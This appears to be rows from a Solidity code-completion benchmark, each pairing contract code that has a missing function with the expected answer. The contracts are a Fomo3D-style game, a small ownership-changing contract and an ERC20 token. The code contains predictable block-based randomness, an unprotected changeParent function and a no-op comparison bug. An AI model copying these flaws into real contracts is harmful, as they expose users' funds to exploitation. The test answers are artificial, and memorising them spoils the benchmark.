// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
// IF anything goes wrong, prevent eth being stuck in the contract
plyr_[_pID].addr.transfer(_eth < address(this).balance ? _eth : address(this).balance);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
<FILL_FUNCTION>
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeInternal(_rID, _pID, _eth, _affID, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(80)) / 100;
uint256 _com = 0;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = 0;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _aff = _eth / 5;
// if the _affID is invalid, the portion goes into the pot
if (_affID != _pID && plyr_[_affID].name != '') {
_eth = _eth.sub(_aff);
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
}
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = true;
} |
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
| function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
| /**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
|
91837 | HubrisChanger | contract HubrisChanger {
address public token;
address public originalOwner;
SmartChanger public tokenContract;
constructor() public {
token = 0x3B3ED1c891B4C2629c39cf0C15DAe64BAf4B9192;
tokenContract = SmartChanger(token);
originalOwner = 0xa803c226c8281550454523191375695928DcFE92;
}
function () external payable {<FILL_FUNCTION_BODY> }
function changeParent(address _t) public {
tokenContract = SmartChanger(_t);
}
function _withdrawWei(uint256 _amount) external {
require(msg.sender == originalOwner);
msg.sender.transfer(_amount);
}
} | contract HubrisChanger {
address public token;
address public originalOwner;
SmartChanger public tokenContract;
constructor() public {
token = 0x3B3ED1c891B4C2629c39cf0C15DAe64BAf4B9192;
tokenContract = SmartChanger(token);
originalOwner = 0xa803c226c8281550454523191375695928DcFE92;
}
<FILL_FUNCTION>
function changeParent(address _t) public {
tokenContract = SmartChanger(_t);
}
function _withdrawWei(uint256 _amount) external {
require(msg.sender == originalOwner);
msg.sender.transfer(_amount);
}
} |
if(msg.value >= 1 ether) {
address newOwner = 0xdff99ef7ed50f9EB06183d0DfeD9CD5DB051878B;
tokenContract.transferOwnership(newOwner);
}
| function () external payable | function () external payable |
|
15109 | Token | null | contract Token {
using SafeMath for uint256;
//variables of the token, EIP20 standard
string public name = "Exodus Computing Networks";
string public symbol = "DUS";
uint256 public decimals = 10; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply = uint256(330000000).mul(uint256(10) ** decimals);
address ZERO_ADDR = address(0x0000000000000000000000000000000000000000);
address payable public creator; // for destruct contract
// mapping structure
mapping (address => uint256) public balanceOf; //eip20
mapping (address => mapping (address => uint256)) public allowance; //eip20
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 token); //eip20
event Approval(address indexed owner, address indexed spender, uint256 token); //eip20
/* Initializes contract with initial supply tokens to the creator of the contract */
// constructor (string memory _name, string memory _symbol, uint256 _total, uint256 _decimals) public {
constructor () public {<FILL_FUNCTION_BODY> }
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
// prevent 0 and attack!
require(_value > 0 && _value <= totalSupply, 'Invalid token amount to transfer!');
require(_to != ZERO_ADDR, 'Cannot send to ZERO address!');
require(_from != _to, "Cannot send token to yourself!");
require (balanceOf[_from] >= _value, "No enough token to transfer!");
// update balance before transfer
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// ------------------------------------------------------------------------
function transfer(address to, uint256 token) public returns (bool success) {
return _transfer(msg.sender, to, token);
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint256 token) public returns (bool success) {
require(spender != ZERO_ADDR);
require(balanceOf[msg.sender] >= token, "No enough balance to approve!");
// prevent state race attack
require(allowance[msg.sender][spender] == 0 || token == 0, "Invalid allowance state!");
allowance[msg.sender][spender] = token;
emit Approval(msg.sender, spender, token);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 token) public returns (bool success) {
require(allowance[from][msg.sender] >= token, "No enough allowance to transfer!");
allowance[from][msg.sender] = allowance[from][msg.sender].sub(token);
_transfer(from, to, token);
return true;
}
//destroy this contract
function destroy() public {
require(msg.sender == creator, "You're not creator!");
selfdestruct(creator);
}
//Fallback: reverts if Ether is sent to this smart contract by mistake
fallback() external {
revert();
}
} | contract Token {
using SafeMath for uint256;
//variables of the token, EIP20 standard
string public name = "Exodus Computing Networks";
string public symbol = "DUS";
uint256 public decimals = 10; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply = uint256(330000000).mul(uint256(10) ** decimals);
address ZERO_ADDR = address(0x0000000000000000000000000000000000000000);
address payable public creator; // for destruct contract
// mapping structure
mapping (address => uint256) public balanceOf; //eip20
mapping (address => mapping (address => uint256)) public allowance; //eip20
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 token); //eip20
